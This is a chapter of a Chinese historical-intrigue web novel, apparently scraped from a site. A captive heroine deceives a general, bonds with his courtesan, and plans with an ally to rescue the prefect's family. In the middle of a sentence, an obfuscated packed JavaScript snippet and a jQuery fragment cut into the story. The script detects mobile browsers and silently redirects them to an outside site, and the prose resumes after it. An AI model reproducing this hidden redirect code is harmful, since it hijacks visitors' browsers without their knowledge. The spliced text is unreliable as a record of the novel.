101. 锁深院
作品:《正是梦归处》 蕙娘将包袱塞到归梦手中:“我在里头又放了一些干粮与金银……妹妹,快走!”
归梦定定瞧着蕙娘的面庞,她柔美的下颌依稀还有未干的泪痕。
“好,我走。”归梦再不多说,冲蕙娘微微一笑作别,转身开门离去。
出了兰院,转过两道回廊,走到花园,归梦忽地驻足道:“萍儿姑娘,麻烦你送我回石牢去。”
萍儿惊道:“这怎么成?夫人会怪我的!”
归梦见她为难,也不多说,径自凭着记忆朝石牢而去。
萍儿紧随其后劝说,归梦只是不理。二人才走到花园正中,远远便见焦纵带着亲随自假山后走出。看来是刚探过石牢。
焦纵一眼瞧见她颇为意外,走到她面前:“我当你逃了呢!正准备去把那老大夫一家都抓来。”
归梦不屑道:“那石牢又湿又黑,本姑娘待腻了出去活动一下罢了。若是逃了,岂不连累旁人?”她说话时斜眼偷偷朝后方看去,只见花树后一抹裙角晃动,萍儿已不见了。
“看不出你小小年纪倒还挺讲义气。”他说着瞥了一眼归梦手上的包袱:“你与蕙娘从前便相识吧?”
糟糕!归梦见他目光投来才想起手上包袱,欲要藏起已来不及了。她心想:他这般问我必是已知晓什么,撒谎也没用,倒不如大方承认。于是点头:“是又如何?”
“难怪她为了你……嘿嘿。不过这倒也不错。有你在,不愁蕙娘再拒我于千里了……”焦纵笑道。
归梦没想到他竟打了这般主意,闻言怒道:“呸,无耻!你有本事便让她心甘情愿爱上你!”
焦纵沉下脸:“你懂什么?得不到她的心得到人也是好的。”他白胖的脸颊上横肉抖开,噙了一丝不怀好意的笑:“可记得我昨日怎么说的?你此刻若还不肯说,可莫怪本将军辣手摧花了。”
归梦心中一紧,想起昨夜刘峪的嘱咐,不动声色慢慢垂下头去:“我不过是个姑娘家,哪懂得什么军国大事,只把我听来的如数告诉你便是了。”
“说下去。”
归梦照着刘峪所教的一一说了。
焦纵半信半疑:“如你所说,朝廷不日便要增兵襄阳。这倒麻烦了……呵,你们想混进来里应外合,我便来个瓮中捉鳖。”他瞅了归梦一眼:“我凭什么相信你说的就是真的?”
归梦淡淡道:“我说的是否实话,几日之内自然见分晓。”
“哼,先下手为强后下手遭殃,把控局势哪里等得了几日?”
归梦不再言语,只心中暗喜,不管焦纵信或不信,乱其心旌的目的都已达到了。
焦纵凝思半晌,忽地挥了挥手:“罢了,你且到兰院去,过得这几日再计较如何处置你。”
归梦微微一怔,没想到焦纵这厮竟容她与蕙娘待在一处,也不怕她二人密谋合计。转念又一想,焦纵早已拿准了她的心思,她若敢轻举妄动,周大夫与蕙娘必难逃毒手,故而也不怕她翻出天去,索性放她在眼皮子底下。
春分时节,每多雨水。夜阑人静,归梦满腹心事不能入睡,起身披衣,独自趴在西窗下,对着一盏孤灯,听着冷雨“扑扑”敲着窗纸的声音。
雨疏风骤,落在耳中,竟似铁马金戈之声一般令人怔忡不安。
她在兰院已住了三日了。三日来焦纵竟像失踪了似的,不曾踏足兰院一步,只是遣了随从来瞧了一眼。
归梦轻叹一声,不知明铮、刘峪在城内情况如何,祖遐去拦截秦军粮草又是否顺利?
担忧之下,取来几枚铜钱撒在桌上,上坎下乾,乃是一个“需卦”。
这本是个吉卦,暗示等待以伺时机,不可冒进。只是落在□□之数,见血出穴,似乎有伤损之意。吉利之中又透着些凶煞,并非上上之吉。
正苦思不解,忽听有人轻轻叩门。她走到门前听到蕙娘在门外说了句“是我”,才放下戒心开了门。
蕙娘手上端着一个托盘,上面放着酒壶酒盏并两盘果子,嫣然笑道:“我睡不着,瞧你屋子里还亮着灯,特来找你饮几杯。”
两人在窗前小榻上对着矮几而坐。这三日相处下来,归梦早已喜欢上蕙娘了。她虽出身风尘,但极有才情,琴棋书画管乐丝竹无不精通。甚至于莳花弄草,烹饪做点心也是一把好手。
似这般蕙质兰心无可挑剔却命途多舛的女子,令她想起了宋华年与诗安。也不知宋姊姊在桓府境况如何,诗安在西苑又如何?是否还是那般举步维艰如履薄冰?
蕙娘刚为她斟上酒,她便迫不及待地满饮一杯。
“妹妹可是在担心什么人?”蕙娘瞧她喝得急,殷殷关切道:“是那日与你一道救我的公子么?”
归梦“嗯”了一声,自斟自饮一杯。“不止是他,我心里牵挂着许多人……真希望他们都能好好的。”她笑着注视着蕙娘:“你也要好好的。”
蕙娘眼波流转,盈盈浮起一抹哀伤:“浅水困不住蛟龙。我看得出,襄樊只是你们暂驻之处。待此间事了……”她忽地住了口,举起酒盏:“我在此先预祝妹妹功成圆满。”
功成圆满……归梦忽地想到,功成之日,焦纵必是身首异处,那时蕙娘又当如何?乱世之中,女子孤身无依,便如飘絮浮萍一般。
归梦忍不住道:“你……你不问我吗?”这几日间蕙娘从不曾问起她为何要混入太守府。她也自然隐忍不说,免得来日牵连于她。
烛光滟滟,蕙娘一点笑颜如春花微绽:“何必要问?少知道一些,于你于我都是好事。”
归梦不想蕙娘竟是如此通透。想到来日,她轻轻握住蕙娘的手:“若有一日,姊姊能选择自己的去处,不知愿往何处?”
蕙娘不语,良久才道:“女子生来身不由己,红尘里翻覆最苦,若得侥幸,情愿伴青灯古佛,了此残生。”
归梦听她话中甚是自苦,不由无言,只在心中暗道:她委身焦纵皆是因我,须得想个什么法子令她振作起来才是。
须臾,一壶酒告罄。归梦犹不尽兴,嚷着还要再喝。蕙娘搀起归梦,哄她去床上躺下,不意窗户忽被狂风吹开,冷雨挟风而入,桌上残烛霎时被吹灭,屋内变作一片漆黑。
蕙娘刚扶归梦躺下,正要转身去关窗,忽地眼前一黑,接着后颈一痛失去了知觉。
“谁?”几滴被风卷来的雨珠打在脸颊上,归梦一个激灵从床上坐起。
黑暗中一人低低笑道:“是我。”
借着窗户□□来的一点光亮,她看见刘峪一身黑衣,浑身像是湿透了,浓密的发丝和胡须上不住滴落着水珠。他将被打晕的蕙娘放到床上,“啧啧”叹道:“焦纵这厮真是艳福不浅……”
归梦见他一双贼眼色迷迷地在蕙娘身上打转,忙挡在蕙娘身前,伸手将他推走:“有话快说有屁快放!”
“我放了你闻吗?”
“呸!”归梦气结,低骂一声:“无赖!”她血涌双颊,庆幸黑暗中刘峪也看不见。
“你敢对我出言不逊,回头我定要告诉……”她一时语塞,不知说要向谁告状才能吓唬到刘峪,这家伙简直是个天不怕地不怕的混不吝。
刘峪笑嘻嘻道:“行了行了,算我错了。怕了你了。”他敛起笑,认
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16414972|171994||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
真道:“找你是有正事……”他忽地住口,从床上取过一条绸布汗巾,撕下两片团成团,塞到蕙娘耳中。
“以防万一。”他狡黠地眨眨眼,又道:“今夜已有一批秦军入城,大约明日就要举事。我已探到焦纵将太守朱序的家眷软禁在府中,借以挟制朱序,逼他反叛。后宅院落重重,我来不及去寻到她们。你明日务须设法找到再将她们带到安全的地方。”
归梦听得蹙眉:“她们既被软禁定然有守卫看管,凭我一人怎能救出?”这任务于她而言无比艰巨。
刘峪瞟了一眼床上的蕙娘:“一人之力不够,那便借力。你与这小娘子不是处得不错吗?”
归梦轻哼一声:“她的命已经够苦了。我不想将她牵扯进来。”
“覆巢之下安有完卵?她现下还能穿金戴银,睡着绣床香闺,已远胜世上多少人了……”刘峪冷笑道:“焦纵这狗贼我是绝不会放过的。届时这小娘皮当做何处置,我可说不准……”
“你什么意思?”归梦不满他言语中的威胁。
刘峪拿起矮几上盘子里剩下的花生果仁丢到嘴里,边嚼边道:“她早已身在局中,何妨利用一番?你这小丫头想法也太迂腐……”他搓搓手上残渣:“总之办法我已告诉你了。成不成便看你的本事。”
他见归梦凝思不语,忽而挑眉一笑:“明日这一仗至关紧要,容不得行差踏错。你总不想远书一番努力尽付东流吧?”
归梦听他故意提起明铮来刺激她,狠狠瞪了他一眼。
刘峪哈哈一笑,伸手推开窗,灵活地从窗口翻了出去。
归梦默默将窗户再度掩好。
刘峪的个性,向来是不择手段,调用一切可用之物,利用一切可用之人。从她跟着他们到樊城开始,他便一步步利用她,全没把她当成女子而另眼相待。
也不知是几更天了,窗外骤雨初歇,变得格外安静。她愁眉不展地伏在榻上,听着鸟儿啾鸣声,只觉脑中空空,智尽计穷。若是远书在,不知会用什么法子?
天慢慢亮了。这一夜既漫长又短暂。
蕙娘醒来发觉自己躺在归梦床上,问起缘由,归梦只说是她昨夜饮酒醉了便在此歇下。蕙娘心知不是却也不多说,只一笑置之。
萍儿在蕙娘房中寻不到人,循声找来。三人说说笑笑洗漱完,坐在暖阁中正要用早饭,却见焦纵笑着迈步进来。
归梦两眼一翻胃口全无。蕙娘勉强挤出一丝笑,对萍儿道:“你去厨房看看,再添几道菜来。”说着又看了看归梦。
归梦心知蕙娘不欲她在场了,免得两厢尴尬,她也不愿看见焦纵那张白胖滚圆的脸,当下起身与萍儿一道出去。
“萍儿,这太守府中为何不见太守大人的家眷?”去厨房的路上归梦借机套话。
萍儿本是蕙娘从郭府带来的丫鬟,自从她知晓归梦救过蕙娘后,便待归梦甚是友善和气。她摇摇头道:“不晓得,平日我与夫人只待在兰院,别的院落也不曾去过,便是在府中也不曾撞见,许是她们极少出来走动……”
归梦失望不已。这太守府虽比不上刺史府,但说小也不小。朱太守的家眷却又从何找起?
不觉已到了厨房门口,她低头思索,险些撞上一人。那人身着军服,手上拎着几个食盒,重重哼了一声。萍儿急拉过归梦,连赔不是。
待那人走远,归梦问萍儿:“他拎着那么多食盒去哪?”
萍儿道:“那是戍守后头梅轩的卫兵,大约是给守卫送饭的。”
归梦若有所思地点点头,忽而双目一亮,真是得来全不费功夫。